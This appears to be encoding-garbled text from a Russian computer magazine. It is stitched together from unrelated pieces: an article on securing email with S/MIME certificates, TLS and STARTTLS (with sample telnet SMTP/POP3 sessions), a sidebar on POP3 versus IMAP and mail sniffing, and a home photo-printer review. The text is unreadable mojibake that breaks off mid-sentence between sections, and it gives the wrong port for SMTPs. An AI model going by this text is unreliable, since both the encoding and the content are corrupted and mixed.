tally Sign âêëþ÷èòü îïöèè ïîäïèñè è
øèôðîâàíèÿ.

×òîáû îòïðàâèòü çàøèôðîâàí-
íîå ïèñüìî ñ ïîìîùüþ The Bat, íå
íóæíî äîáàâëÿòü ïîëó÷àòåëÿ â àäðå-
ñíóþ êíèãó è ñâÿçûâàòü ñ íèì ñåðòè-
ôèêàò, òàê êàê ïðè îòïðàâêå ïèñüìà
àâòîìàòè÷åñêè ïðîèçâîäèòñÿ ïîèñê
íåîáõîäèìîãî ñåðòèôèêàòà â ëè÷-
íûõ ñåðòèôèêàòàõ ó÷åòíîé çàïèñè
ïîëüçîâàòåëÿ. Ïîýòîìó íóæíî óñòà-
íîâèòü ñåðòèôèêàò Áîáà (êîòîðûé
ðàíåå ýêñïîðòèðîâàëè ñ åãî êîìïüþ-
òåðà) â ñïèñîê ëè÷íûõ ñåðòèôèêà-
òîâ. Äëÿ ýòîãî:

1 ÍÀ ÔÀÉËÅ Ñ ÑÅÐÒÈÔÈÊÀ-
ÒÎÌ ÄÂÎÉÍÎÉ ÊËÈÊ.

2 ÂÛÁÈÐÀÅØÜ INSTALL CER-
TIFICATE.

3 ÄÂÀ ÐÀÇÀ NEXT È FINISH.

4 ÇÀÊÐÛÂÀÅØÜ ÎÊÎØÊÎ
Ñ ÑÎÎÁÙÅÍÈÅÌ ÎÁ ÓÑÏÅØ-
ÍÎÌ ÈÌÏÎÐÒÅ — OK.

Åñëè ïîñìîòðèøü íà ñâîéñòâà ñåðòè-
ôèêàòà Áîáà, êîòîðûé ýêñïîðòèðîâà-
ëè äëÿ ó÷åòíîé çàïèñè Àëèñû, òî ñî-
îáùåíèÿ «You have a private key that
corresponds to this certificate» íà çà-
êëàäêå General íå óâèäèøü. Ýòî ïî-
òîìó, ÷òî ó Àëèñû åñòü òîëüêî îòêðû-
òûé êëþ÷ Áîáà è íåò çàêðûòîãî.

Íà êàðòèíêàõ âèäíî, ÷òî áóäåò
ñ ïèñüìîì Àëèñû, åñëè íåõîðîøèé
àäìèíèñòðàòîð ðåøèò óñòàíîâèòü
íà ïóòè ïðîõîæäåíèÿ ïèñüìà ñíè-
ôåð è ïîéìàòü SMTP-òðàôèê. Êàê
âèäèøü, ðàñøèôðîâàòü òåêñò áåç
ñåðòèôèêàòà Áîáà ñ çàêðûòûì êëþ-
÷îì èëè íåçàìåòíî âíåñòè èçìåíå-
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î ïðîòîêîëå IMAP
ÏÐÎÒÎÊÎË POP3 ÏÎÄÐÀÇÓÌÅÂÀË, ×ÒÎ ÏÎËÜÇÎÂÀÒÅËÜ ÇÀÁÈÐÀ-
ÅÒ ÏÎ×ÒÓ Ñ ÏÎ×ÒÎÂÎÃÎ ÑÅÐÂÅÐÀ ÍÀ ÑÂÎÉ ÊÎÌÏÜÞÒÅÐ, À ÇÀ-
ÒÅÌ ËÎÊÀËÜÍÎ ÅÅ ÎÁÐÀÁÀÒÛÂÀÅÒ, ÐÀÑÊËÀÄÛÂÀÅÒ ÏÎ ÏÀÏÎ×-
ÊÀÌ È ×ÈÒÀÅÒ. ÏÐÎÒÎÊÎË IMAP ÏÎÄÐÀÇÓÌÅÂÀÅÒ, ×ÒÎ ÂÑÅÉ ÎÁ-
ÐÀÁÎÒÊÎÉ ÏÎ×ÒÛ, ÂÊËÞ×Àß ÐÀÑÊËÀÄÊÓ ÏÎ ÏÀÏÎ×ÊÀÌ, ÏÎÈÑÊ
ÑÎÎÁÙÅÍÈÉ, ÓÏÐÀÂËÅÍÈÅ ÂËÎÆÅÍÍÛÌÈ Â ÍÈÕ ÔÀÉËÀÌÈ È
ÑÎÐÒÈÐÎÂÊÓ ÏÎ ÐÀÇËÈ×ÍÛÌ ÊÐÈÒÅÐÈßÌ, ÇÀÍÈÌÀÅÒÑß ÏÎ×ÒÎ-
ÂÛÉ ÑÅÐÂÅÐ. ÒÎ ÅÑÒÜ ÂÑß ÏÎ×ÒÀ ËÅÆÈÒ ÍÀ ÑÅÐÂÅÐÅ, À ÊËÈÅÍ-
ÒÑÊÀß ÏÐÎÃÐÀÌÌÀ ßÂËßÅÒ ÑÎÁÎÉ ÏÐÎÑÒÅÍÜÊÈÉ ÈÍÒÅÐÔÅÉ-
ÑÈÊ Ê ÁÎÃÀÒÛÌ ÂÎÇÌÎÆÍÎÑÒßÌ ÏÎ×ÒÎÂÎÃÎ ÑÅÐÂÅÐÀ ÏÎ
ÏÐÎÒÎÊÎËÓ IMAP. ÝÒÎ ÁÛËÎ ÍÅÎÁÕÎÄÈÌÎ, ×ÒÎÁÛ ÎÁËÅÃ×ÈÒÜ
ÆÈÇÍÜ ÕÈËÅÍÜÊÈÌ ÏÅÐÑÎÍÀËÊÀÌ, ÈÌÅÂØÈÌÑß ÍÀ ÌÎÌÅÍÒ
ÏÎßÂËÅÍÈß ÏÐÎÒÎÊÎËÀ (1988 ÃÎÄ). ÅÄÈÍÑÒÂÅÍÍÛÌ ÏÐÈËÎÆÅ-
ÍÈÅÌ, ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÌ ÈÄÅÎËÎÃÈÈ IMAP, ÑÒÀËÀ ÏÐÎÃÐÀÌ-
ÌÀ «PINE», ÊÎÒÎÐÀß ÀÊÒÈÂÍÎ ÈÑÏÎËÜÇÓÅÒÑß Â ÀÊÀÄÅÌÈ×ÅÑ-
ÊÈÕ ÑÅÒßÕ. IMAP ÄÅÉÑÒÂÈÒÅËÜÍÎ ÓÄÎÁÅÍ Â ÒÅÐÌÈÍÀË-ÊËÀÑ-
ÑÀÕ, ÃÄÅ Ó ÑÒÓÄÅÍÒÎÂ ÍÅÒ ÂÛÄÅËÅÍÍÛÕ ÏÅÐÑÎÍÀËÎÊ, ÒÎËÜ-
ÊÎ ÒÅÐÌÈÍÀËÛ.   

ÏÎÑÊÎËÜÊÓ ÄÐÓÃÈÅ ÏÐÈËÎÆÅÍÈß ÂÑÅ ÐÀÂÍÎ ÏÎÄÄÅÐÆÈÂÀËÈ
ÏÐÎÒÎÊÎË POP3, ÒÎ ÑÌÛÑËÀ ÄÅËÀÒÜ «ÊÓÖÓÞ» ÔÓÍÊÖÈÎÍÀËÜ-
ÍÎÑÒÜ ÍÅ ÁÛËÎ, ÏÎÝÒÎÌÓ ÍÈ ÎÄÍÀ ÈÇ ÐÀÑÏÐÎÑÒÐÀÍÅÍÍÛÕ
ÑÅÒÅÂÛÕ ÏÐÎÃÐÀÌÌ ÔÀÊÒÈ×ÅÑÊÈ ÍÅ ÈÑÏÎËÜÇÓÅÒ ÁÎÃÀÒÛÉ
ÔÓÍÊÖÈÎÍÀËÜÍÛÉ ÍÀÁÎÐ IMAP, ÐÅÀËÈÇÓß ÐÀÁÎÒÓ Ñ ÏÎ×ÒÎÉ
ËÎÊÀËÜÍÎ. ÏÎßÂÈÂØÈÅÑß Â ÏÎÑËÅÄÑÒÂÈÈ ÏÎ×ÒÎÂÛÅ ÂÅÁ-ÈÍ-
ÒÅÐÔÅÉÑÛ ÏÎÇÂÎËÈËÈ ÓÏÐÀÂËßÒÜ ÏÎ×ÒÎÉ ×ÅÐÅÇ ÑÒÀÍÄÀÐÒ-
ÍÛÉ ÁÐÀÓÇÅÐ. ÒÀÊÈÌ ÎÁÐÀÇÎÌ, Â ÍÀÑÒÎßÙÅÅ ÂÐÅÌß ÑÌÛÑËÀ 
ÈÑÏÎËÜÇÎÂÀÒÜ ÏÐÎÒÎÊÎË IMAP ÍÅÒ, ÒÀÊ ÊÀÊ ÈÇÁÛÒÎ×ÍÛÉ
ÔÓÍÊÖÈÎÍÀË ÂÑÅÃÄÀ ÏÐÈÂÎÄÈÒ Ê ÏÐÎÁËÅÌÀÌ Ñ ÁÅÇÎÏÀÑ-
ÍÎÑÒÜÞ ÊÎÄÀ. 

ÏÎ ÝÒÎÉ ÏÐÈ×ÈÍÅ IMAP ÍÅ ÁÓÄÅÌ ÐÀÇÁÈÐÀÒÜ 
ÎÒÄÅËÜÍÎ, ÍÎ Ê ÍÅÌÓ ÎÒÍÎÑÈÒÑß ÂÑÅ ÒÎ, ×ÒÎ ÑÊÀÇÀÍÎ
Î ÏÐÎÒÎÊÎËÅ POP3.



íèÿ â íåãî áåç ñåðòèôèêàòà Àëèñû
ñ çàêðûòûì êëþ÷îì áóäåò î÷åíü
ïðîáëåìàòè÷íî…

èñïîëüçîâàíèå SSSL/TLS. Ïðî-
òîêîëû S/MIME èëè PGP èñêëþ÷è-
òåëüíî ïðèâëåêàòåëüíû. Íî, âî-ïåð-
âûõ, ýòè ñòàíäàðòû íå îáÿçàòåëüíû,
è íå ôàêò, ÷òî ðåñïîíäåíò èõ ïîä-
äåðæèâàåò. À âî-âòîðûõ, øèôðîâà-
íèå â ïðèíöèïå íå ïðèìåíèìî â íå-
êîòîðûõ ñèòóàöèÿõ, â ÷àñòíîñòè, ïðè
îòïðàâêå ïèñüìà ïî íåñêîëüêèì àä-
ðåñàì èëè, îñîáåííî, ïî íåîïðåäå-
ëåííîìó êðóãó (íàïðèìåð â ñïèñîê
ðàññûëêè). Åùå îäíîé ñëîæíîé çàäà-
÷åé ÿâëÿåòñÿ îáìåí ñåðòèôèêàòàìè
èëè êëþ÷àìè PGP. Ñàìûì îïàñíûì
ìåñòîì, â êîòîðîì ïåðåõâàò ñîîáùå-
íèé íàèáîëåå âåðîÿòåí, ÿâëÿþòñÿ
ðàçëè÷íûå øèðîêîâåùàòåëüíûå ñå-
òè — îôèñíûå, äîìîâûå, Wi-Fi, ñïóò-
íèêîâûå êàíàëû ñâÿçè è èæå ñ íèìè.
Òî åñòü ïèñüìî ìîæåò áûòü ïåðåõâà-
÷åíî ïðè äîñòàâêå íà ïî÷òîâûé ñåð-
âåð èëè ïîëó÷åíèè ñ îíîãî. È åñòü
íåïëîõîé ñïîñîá èçáåæàòü ïåðåõâà-
òà íà ýòîì ó÷àñòêå — øèôðîâàòü
ïî÷òîâûé òðàôèê ìåæäó êëèåíòîì è
ñåðâåðîì, è, æåëàòåëüíî, ìåæäó ñåð-
âåðàìè. Äëÿ øèôðîâàíèÿ òðàôèêà
ìîæåò áûòü èñïîëüçîâàí TLS (Trans-
port Level Security), áûâøèé SSL (Se-
cure Socket Layer). Îáà íàçâàíèÿ íå-
óäà÷íû, òàê êàê ôàêòè÷åñêè TLS ÿâ-
ëÿåòñÿ ïðîòîêîëîì ñåàíñîâîãî óðîâ-

íÿ, òî åñòü íàõîäèòñÿ âûøå òðàíñ-
ïîðòíîãî (TCP), íî íèæå óðîâíÿ
ïðåäñòàâëåíèÿ, ê êîòîðîìó îòíîñÿòñÿ
ñîêåòû ïðèêëàäíîãî (SMTP, POP3,
HTTP è ò.ä.) óðîâíÿ. Ïðàêòè÷åñêè
ëþáîé ïðîòîêîë ïðèêëàäíîãî óðîâíÿ
ìîæíî ïóñòèòü ïîâåðõ TLS.

Ïîâåðõ òðàíñïîðòíîãî óðîâíÿ
(TCP) ìåæäó êëèåíòîì è ñåðâåðîì
óñòàíàâëèâàåòñÿ ñîåäèíåíèå. Êðèï-
òîãðàôèÿ ïðîòîêîëà òàê æå îñíîâû-
âàåòñÿ íà ñåðòèôèêàòàõ. Êëèåíò ïðî-
âåðÿåò ñåðòèôèêàò ñåðâåðà è ñ åãî
ïîìîùüþ ïåðåäàåò ñåàíñîâûé êëþ÷,
êîòîðûé èñïîëüçóåòñÿ äëÿ øèôðîâà-
íèÿ òðàôèêà. Îïöèîíàëüíî TLS ìî-
æåò èñïîëüçîâàòü ñåðòèôèêàò êëèåí-
òà äëÿ àóòåíòèôèêàöèè äîñòóïà. Ïî-
ñëå óñòàíîâêè çàùèùåííîãî ñîåäè-
íåíèÿ ïîâåðõ íåãî ïóñêàåòñÿ ïðè-
êëàäíîé òðàôèê. Äëÿ ðàáîòû ïðè-
êëàäíîãî ïðîòîêîëà ïîâåðõ TLS
îáû÷íî âûäåëÿåòñÿ îòäåëüíûé ïîðò
è ê íàçâàíèþ ïðîòîêîëà äîáàâëÿåòñÿ
áóêîâêà s (secure), íàïðèìåð HTTPs
(TCP/443), POP3s (TCP/995), SMTPs
(TCP/564). Îðãàíèçîâàòü ðàáîòó ñåð-
âåðíîãî ïðèëîæåíèÿ ïîâåðõ TLS äî-
ñòàòî÷íî íåñëîæíî, äàæå åñëè ïðè-
ëîæåíèå íå ïîääåðæèâàåò TLS. Äëÿ
ýòîãî ïîäîéäóò óòèëèòû òèïà stunnel.

Ïîìèìî ïîääåðæêè TLS ïî
ñïåöèàëüíîìó ïîðòó, â ðàñøèðå-
íèÿõ ïðîòîêîëîâ POP3 è SMTP ïðå-
äóñìîòðåíà êîìàíäà STARTTLS
(STLS), ïî êîòîðîé êëèåíò è ñåðâåð
íà óæå ñóùåñòâóþùåì ñîåäèíåíèè
íà÷èíàþò ñîãëàñîâàíèå TLS è ïå-

ðåõîäÿò â çàùèùåííûé ðåæèì.
Â ïðîòîêîëå POP3 íàëè÷èå

ïîääåðæêè êîìàíäû STARTTLS
àíîíñèðóåòñÿ ñåðâåðîì ÷åðåç CAPA
(îïöèÿ STLS), â SMTP — ÷åðåç
EHLO. Ïðèìåðíî òàê:

telnet mail.example.com 25

<<220 mail.example.com ESMTP

>>EHLO me

<<250- mail.example.com 

<<250-PIPELINING

<<250-SIZE 10240000

<<250-ETRN

<<250-STARTTLS

<<250 8BITMIME

telnet mail.example.com 110

<<+OK 3APA3A/POP3-3.0-beta

<8231.1158097553@mail.exam-

ple.com>

>>capa

<<+OK Capability list:

<<TOP

<<USER

<<APOP

<<AUTH

<<UIDL

<<STLS

<<.

Àíîíñèðîâàíèå STARTTLS ÷åðåç
EHLO ïîçâîëÿåò èñïîëüçîâàòü TLS

è äëÿ ñîåäèíåíèÿ ìåæäó äâóìÿ
SMTP-ñåðâåðàìè. Â òàêîì ñëó÷àå
TLS àâòîìàòè÷åñêè èñïîëüçóåòñÿ,
åñëè ñîîòâåòñòâóþùàÿ îïöèÿ àíîí-
ñèðóåòñÿ. Íåêîòîðûå SMTP-ñåðâåðû
íå àíîíñèðóþò TLS, õîòÿ è ïîääåð-
æèâàþò åå. Ýòî ñâÿçàíî ñ òåì, ÷òî
â áîëüøèíñòâå ñëó÷àåâ ñåðâåð èñ-
ïîëüçóåò ñàìîïîäïèñàííûé, à íå êó-
ïëåííûé ñåðòèôèêàò. Êðîìå òîãî,
åñëè íà ñåðâåðå íàõîäèòñÿ íåñêîëü-
êî ïî÷òîâûõ äîìåíîâ, òî íåèçâåñò-
íî, ïî êàêîìó èìåíè ñåðâåðà ïðè-
øåë êëèåíò è ñîâïàäàåò ëè ýòî èìÿ
ñ èìåíåì â ñåðòèôèêàòå. Ïîýòîìó
àíîíñèðîâàíèå ïîääåðæêè TLS ìî-
æåò ïðèâåñòè ê ïðîáëåìàì ñ äîñòàâ-
êîé ïî÷òû, åñëè äðóãàÿ ñòîðîíà ÷å-
ðåñ÷óð ùåïåòèëüíî îòíîñèòñÿ ê ïðî-
âåðêå ñåðòèôèêàòà.

Àíàëîãè÷íûå ïðîáëåìû ìîãóò
âîçíèêíóòü è ïðè äîñòóïå ê ñåðâåðó
÷åðåç êëèåíòñêîå ïðèëîæåíèå.
Åñëè, íàïðèìåð, ñåðòèôèêàò âûäàí
íà ñåðâåð pop.example.com, à â íà-
ñòðîéêàõ ïî÷òîâîé ïðîãðàììû óêà-
çàòü mail.example.com èëè ïðîñòî
IP-àäðåñ, òî êëèåíòñêîå ïðèëîæå-
íèå äîëæíî âûäàòü îøèáêó èëè
ïðåäóïðåæäåíèå î íåñîâïàäåíèè
ñåðòèôèêàòîâ. Ïîýòîìó ïðè äîñòóïå
ïî TLS ñëåäóåò çàðàíåå ïîèíòåðå-
ñîâàòüñÿ, êàêîå èìÿ ñåðâåðà 
óêàçûâàòü â íàñòðîéêàõ ïî÷òîâîé
ïðîãðàììû
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Ñíèô çàøèôðîâàííîãî ïèñüìà

Çàùèòà — äåëî, áåçóñ-
ëîâíî, ïîëåçíîå, íî
ãëàâíîå â íåì — íå
ïåðåóñåðäñòâîâàòü.
Íóæíî ëè ïðèíèìàòü
ìåðû ïî óñèëåíèþ áå-
çîïàñíîñòè ýëåêòðîí-
íîé ïî÷òû? Ïðåæäå
÷åì îòâåòèòü «äà»,
íóæíî îïðåäåëèòüñÿ:
à îò êîãî çàùèùàåì-
ñÿ? Ñîñåä ïî ëåñòíè÷-
íîé ïëîùàäêå íå ïðî-
÷èòàåò ïåðåïèñêó â ëþ-
áîì ñëó÷àå (åñëè òîëü-
êî íåçàøèôðîâàííûé
òðàôèê ôèçè÷åñêè íå
ïðîõîäèò ÷åðåç íåãî),
à õàêåðû, ïðîÿâèâøèå
èíòåðåñ ê ÷üåé-òî ïåð-

ñîíå/îðãàíèçàöèè, ñêî-
ðåå âñåãî ïðèáåãíóò 
ê àòàêå íà êëèåíòñêóþ
ìàøèíó, ïåðåõâàòûâàÿ
ñîäåðæèìîå ïèñüìà
ïðåæäå, ÷åì îíî áóäåò
çàøèôðîâàíî. Èñïîëü-
çîâàíèå ñòîéêèõ ìåõà-
íèçìîâ àóòåíòèôèêà-
öèè, öèôðîâûõ ïîäïè-
ñåé è øèôðîâàíèÿ
çàòðóäíÿåò àòàêó,
íî îòíþäü íå äåëàåò
åå íåâîçìîæíîé.
È ê òîìó æå äîñòàåòñÿ
âñå ýòî îòíþäü
íå áåñïëàòíî â ïëàíå
þçàáèëèòè, ïðîöåñ-
ñîðíîãî âðåìåíè è ñå-
òåâîãî òðàôèêà.

ÊÐÈÑ
ÊÀÑÏÅÐÑÊÈ
ÑÀÌÛÉ ÈÇÂÅÑÒÍÛÉ 
Â ÊÎÌÏÜÞÒÅÐÍÎÌ ÑÎÎÁÙÅÑÒÂÅ 
ÃÐÛÇÓÍ. ÝÒÎÒ ×ÅËÎÂÅÊÎÎÁÐÀÇÍÛÉ 
ÕÀÊÅÐ ÒÎ×ÈÒ ÂÑÅ — ÍÀ×ÈÍÀß 
ÎÒ ÁÅÇÎÁÈÄÍÛÕ ÏÐÎÃÐÀÌÌ 
È ÇÀÊÀÍ×ÈÂÀß ÊÐÅÏÊÈÌ 
ÊÎÌÏÜÞÒÅÐÍÛÌ ÆÅËÅÇÎÌ. 
ÍÅ ÏÎÏÀÄÀÉÑß ÅÌÓ ÏÎÄ ÕÂÎÑÒ!

Ñíèô íåçàøèôðîâàííîãî ïèñüìà

Î Ò  Ê Î Ã Î  Ç À Ù È Ù À Å Ì Ñ ß
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ñïèñîê òòåñòèðóåìîãî îîáîðóäîâàíèÿ:
Epson PPictureMate 5500

Hewlett-PPackard PPhotoSmart 4420

Hewlett-PPackard PPhotoSmart 4475

Kodak EEasyShare 5500

Lexmark PP450

Samsung SSPP-22020

Samsung SSPP-22040

Ïðèíòåðû, êîòîðûå ìû ñåãîäíÿ áóäåì òåñòèðîâàòü, ïðåäíàçíà÷åíû 
ñïåöèàëüíî äëÿ ïå÷àòè ôîòîñíèìêîâ. Êðîìå âûñîêîãî êà÷åñòâà îòïå÷àò-
êîâ, èõ îòëè÷àåò è ìàññà äîïîëíèòåëüíûõ ôóíêöèé: àâòîíîìíàÿ îò êîìïü-
þòåðà ðàáîòà, íàëè÷èå äîïîëíèòåëüíûõ èíòåðôåéñîâ, ïîääåðæêà ïå÷àòè
ñ êàðò ïàìÿòè è äðóãèõ íîñèòåëåé, âîçìîæíîñòü ðåäàêòèðîâàòü èçîáðàæå-
íèå ïðÿìî íà ïðèíòåðå è ìíîãîå äðóãîå. Åñòåñòâåííî, ýòè óñòðîéñòâà ñòî-
ÿò äîðîæå, ÷åì äîìàøíèå ïðèíòåðû íî, ó÷èòûâàÿ øèðîêóþ ðàñïðîñòðà-
íåííîñòü öèôðîâûõ ôîòîàïïàðàòîâ è òåëåôîíîâ ñî âñòðîåííûìè êàìåðà-
ìè, ìîæíî óòâåðæäàòü, ÷òî îíè íàéäóò ñâîèõ ïîêóïàòåëåé. Ñîãëàñèñü, 
÷òî ãîðàçäî óäîáíåå ðàñïå÷àòûâàòü ôîòêè ó ñåáÿ äîìà, ÷åì òàùèòüñÿ
â ôîòîìàñòåðñêóþ.

òåõíîëîãèÿ. Äåâàéñû èç ýòîãî îáçîðà ìîæíî ðàçäåëèòü íà äâà òèïà,
âçÿâ çà îñíîâó ïðèíöèï ïå÷àòè, èñïîëüçóåìûé â íèõ. Áîëüøàÿ ÷àñòü èñ-
ïîëüçóåò êëàññè÷åñêóþ ñòðóéíóþ ïå÷àòü, ìåíüøàÿ — òåðìîñóáëèìàöèîí-
íóþ. Ñòðóéíàÿ ïå÷àòü îñíîâàíà íà íàíåñåíèè êàïåëü êðàñêè íà áóìàãó. 
Âûõîäÿò îíè ÷åðåç ñîïëà ïå÷àòàþùåé ãîëîâêè êàðòðèäæà. ×òîáû èõ îòòóäà
èçâëå÷ü, ïðèìåíÿþòñÿ äâå òåõíîëîãèè: òåðìîñòðóéíàÿ (íàãðåâàòåëüíûé
ýëåìåíò ïåðåäàåò òåïëî ïîðöèè êðàñêè, è òà, ðàñøèðÿÿñü, âûñòðåëèâàåò 
èç ñîïëà) è ïüåçîýëåêòðè÷åñêàÿ (ïüåçîýëåêòðèêè èçìåíÿþòñÿ  â îáúåìå
ïîä âîçäåéñòâèåì íàïðÿæåíèÿ, è áëàãîäàðÿ ýòîìó êðàñêà âûòàëêèâàåòñÿ 
èç ñîïëà). Òåðìîãîëîâêà áûñòðî èçíàøèâàåòñÿ, ïîýòîìó åå âñòðàèâàþò
â êàðòðèäæ, è ïðè îêîí÷àíèè ÷åðíèë íà ñâåæåì êàðòðèäæå óæå èìååòñÿ 
íîâàÿ ïå÷àòàþùàÿ ãîëîâêà. Ïüåçîãîëîâêà áîëåå æèâó÷à, îáû÷íî åå ìîæíî
çàìåíèòü òîëüêî â ñåðâèñ-öåíòðå. Êàðòðèäæè äëÿ ïüåçîñòðóéíèêîâ ïðåäñ-
òàâëÿþò ñîáîé áàëëîí ñ êðàñêîé è çàùèòíûé ÷èï, êîòîðûé íóæåí, ÷òîáû
â ãîëîâêó íå ïîïàëè ïîääåëüíûå íåêà÷åñòâåííûå ÷åðíèëà, ëåãêî åå çàñî-
ðÿþùèå. Òåõíîëîãèÿ òåðìîñóáëèìàöèîííîé ïå÷àòè íåñêîëüêî èíàÿ.
Åå ñìûñë çàêëþ÷àåòñÿ â ïåðåíîñå òâåðäîãî êðàñèòåëÿ íà ôîòîáóìàãó. Êðà-
ñèòåëü íàõîäèòñÿ íà ëåíòå, êîòîðàÿ ïðîòÿãèâàåòñÿ ìåæäó áóìàãîé è òåðìî-
ãîëîâêîé (ìàññèâîì íàãðåâàòåëüíûõ ìèêðîýëåìåíòîâ). ×åì áîëüøå òîê,
òåì áîëüøå òåìïåðàòóðà îïðåäåëåííîãî ýëåìåíòà ãîëîâêè, è òåì áîëüøå
êðàñêè èñïàðÿåòñÿ ñ ëåíòû è îñåäàåò (ñóáëèìèðóåòñÿ) íà áóìàãå. Òî åñòü
îòòåíîê è ðàçìåð ïîëó÷àåìîãî íà áóìàãå ïÿòíà èçìåíÿåòñÿ âìåñòå ñ òåìïå-
ðàòóðîé ãîëîâêè. Ñòðóéíûé ïðèíòåð âûäàåò êàïëè îäíîãî ìèíèìàëüíîãî

ðàçìåðà è îòòåíêà (êîëè÷åñòâî îòòåíêîâ êàïëè ðàâíî êîëè÷åñòâó áàëëîíîâ
ñ ðàçíîé êðàñêîé â êàðòðèäæå, à ðàçìåð êàïëè çàâèñèò îò îñîáåííîñòåé ãî-
ëîâêè). ×òîáû ñäåëàòü èçîáðàæåíèå òåìíåå, ïðèíòåð âûñòðåëèâàåò áîëüøå
êàïåëü (íåêîòîðûå ïðèíòåðû èìåþò äëÿ ýòîãî ñïåöèàëüíûå ñîïëà äëÿ
áîëüøèõ êàïåëü), à ÷òîáû ñäåëàòü åãî ñâåòëåå, ìåæäó êàïëÿìè êðàñêè íà
áóìàãå îñòàâëÿåòñÿ çíà÷èòåëüíîå ðàññòîÿíèå. Èç-çà ýòîãî ïðèäèð÷èâûé
ïîëüçîâàòåëü çàìå÷àåò õàðàêòåðíóþ çåðíèñòîñòü. Çà ñ÷åò áîëåå øèðîêèõ
âîçìîæíîñòåé ñîçäàíèÿ íà áóìàãå ïÿòåí ðàçíûõ îòòåíêîâ ñóáëèìàöèîííûé
ïðèíòåð ñ ãîðàçäî ìåíüøèì ðàçðåøåíèåì, ÷åì ó ñòðóéíîãî êîíêóðåíòà, ìî-
æåò äàâàòü ëó÷øèé ðåçóëüòàò.

Êðîìå òîãî, õîòåëîñü áû îòìåòèòü íåêîòîðûå îáùèå îñîáåííîñòè ïðî-
òåñòèðîâàííûõ óñòðîéñòâ. Åñëè ðàíüøå îò ïðèíòåðà òðåáîâàëîñü òîëüêî
îäíî — ïå÷àòàë áû, è ëàäíî, òî ñåé÷àñ ýòè óñèðîéñòâà îáëàäàþò êó÷åé äî-
ïîëíèòåëüíûõ îïöèé. Îñíîâíàÿ — ýòî âîçìîæíîñòü àâòîíîìíîé ðàáîòû. Òî
åñòü êîìïüþòåð òåïåðü íå îáÿçàòåëåí. Ýòè óñòðîéñòâà îñíàùåíû êàðä-ðè-
äåðàìè, ïîääåðæèâàþò èíòåðôåéñ PictBridge è äðóãèå, òàê ÷òî íàïå÷àòàòü
ôîòî ñ öèôðîâîé êàìåðû èëè òåëåôîíà òåïåðü ìîæíî è áåç ïîñðåäíè÷åñò-
âà ÏÊ. Êñòàòè, íå çàáûò òóò è ïîïóëÿðíûé «Ñèíèé çóá» — õîòÿ è äàëåêî íå
âñå ïðèíòåðû èìåþò âñòðîåííûé àäàïòåð, íî âîò åãî ïîääåðæêîé îáëàäàþò
ïî÷òè âñå. Òî åñòü åñëè òû ïðèêóïèøü USB BlueTooth-ìîäóëü è âñòàâèøü
åãî â ïðèíòåð, òî ñìîæåøü ïå÷àòàòü è ïî ýòîìó ïðîòîêîëó. À óñòðîéñòâî îò
Kodak òàêèì îáðàçîì ñïîñîáíî ðàáîòàòü äàæå ñ Wi-Fi. Áåç ÏÊ êàðòèíêó
ìîæíî íå ïðîñòî ðàñïå÷àòàòü — âñòðîåííûå ÆÊ-ýêðàíû ïîçâîëÿþò ïðîñ-
ìîòðåòü íóæíûå èçîáðàæåíèÿ è ïðè íåîáõîäèìîñòè èõ ïîäðåäàêòèðîâàòü:
óáðàòü êðàñíûå ãëàçà, èçìåíèòü ðàçìåð è òàê äàëåå. Ñòîèò îòìåòèòü, ÷òî
ðàáîòó ñ ïðèíòåðîì ìîæíî íà÷àòü ñðàçó ïîñëå åãî óñòàíîâêè: âñå óñòðîé-
ñòâà êîìïëåêòóþòñÿ êàðòðèäæàìè, íàáîðîì ôîòîáóìàãè, à íåêîòîðûå è
USB-êàáåëåì. Òî åñòü íà êîìïëåêò ïîñòàâêè ñëåäóåò îáðàùàòü âíèìàíèå.

ìåòîäèêà òòåñòèðîâàíèÿ. Ïîñëå ïîäêëþ÷åíèÿ ïðèíòåðà ê ÏÊ è óñòàíîâ-
êè âñåãî íåîáõîäèìîãî ÏÎ (åñëè ýòî âîçìîæíî), ìû ðàñïå÷àòûâàëè òåñòî-
âóþ ñòðàíèöó. Ïîòîì, âûñòàâèâ íàèâûñøåå êà÷åñòâî ïå÷àòè, ïå÷àòàëè òåñ-
òîâóþ ôîòîãðàôèþ ðàçìåðîì 10õ15 áåç ïîëåé (íà ôèðìåííîé ôîòîáóìàãå
ïðîèçâîäèòåëÿ). Ïðè ýòîì çàìåðÿëîñü âðåìÿ îò íàæàòèÿ êíîïêè Print
äî ïîëíîãî âûõîäà îòïå÷àòêà (äåëàëîñü ýòî ïîòîìó, ÷òî íåêîòîðûå ìîäåëè
äîâîëüíî äîëãî î ÷åì-òî ðàçìûøëÿþò ïåðåä òåì, êàê ïðèñòóïèòü íåïîñðåä-
ñòâåííî ê ïå÷àòè). Åùå ìû îáðàùàëè âíèìàíèå íà øóì, èçäàâàåìûé óñò-
ðîéñòâîì. Îòïå÷àòîê îöåíèâàëñÿ ïî òàêèì ïàðàìåòðàì, êàê ÿðêîñòü, êîíòðà-
ñòíîñòü, ïðàâèëüíîñòü öâåòîïåðåäà÷è, îòñóòñòâèå çåðíèñòîñòè, ïîëîñ è ïðî-
÷èõ àðòåôàêòîâ. Ïîñëå ýòîãî íà ñâåæåèñïå÷åííîå èçîáðàæåíèå êàïàëîñü
íåìíîãî âîäû, è ïðåäïðèíèìàëàñü ïîïûòêà ñìàçàòü åãî, ÷òîáû ïðîâåðèòü
ñòîéêîñòü îòïå÷àòêà ê ðàçìûòèþ. Ïîñëå çàâåðøåíèÿ íåïîñðåäñòâåííî òåñ-
òîâîé ÷àñòè îöåíèâàëñÿ äèçàéí ïðèíòåðà è åãî äîïîëíèòåëüíûå ôóíêöèè
è âîçìîæíîñòè, òàêèå êàê àâòîíîìíàÿ îò ÏÊ ðàáîòà è òàê äàëåå.

hard
ÄÎÌÀØÍÈÅ ÔÎÒÎÏÐÈÍÒÅÐÛ ÄËß ÎÒËÈ×ÍÛÕ ÑÍÈÌÊÎÂ
Ñ Å Ð Ã Å É  Í È Ê È Ò È Í

home made photos

Ðåäàêöèÿ ââûðàæàåò ááëàãîäàðíîñòü ççà ïïðåäîñòàâëåííîå ííà òòåñòèðîâàíèå
îáîðóäîâàíèå ðîññèéñêèì ïðåäñòàâèòåëüñòâàì êîìïàíèé HP, Epson,
Samsung, Kodak, Lexmark.
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LEXMARK P450
($250) 7 áàëëîâ

ÌÀÊÑ. ÐÀÇÐÅØÅÍÈÅ, DPI: 4800x1200

ÑÊÎÐÎÑÒÜ ÏÅ×ÀÒÈ (10X15), Ñ: 153

ÅÌÊÎÑÒÜ ËÎÒÊÀ ÄËß ÁÓÌÀÃÈ, ØÒ: 30

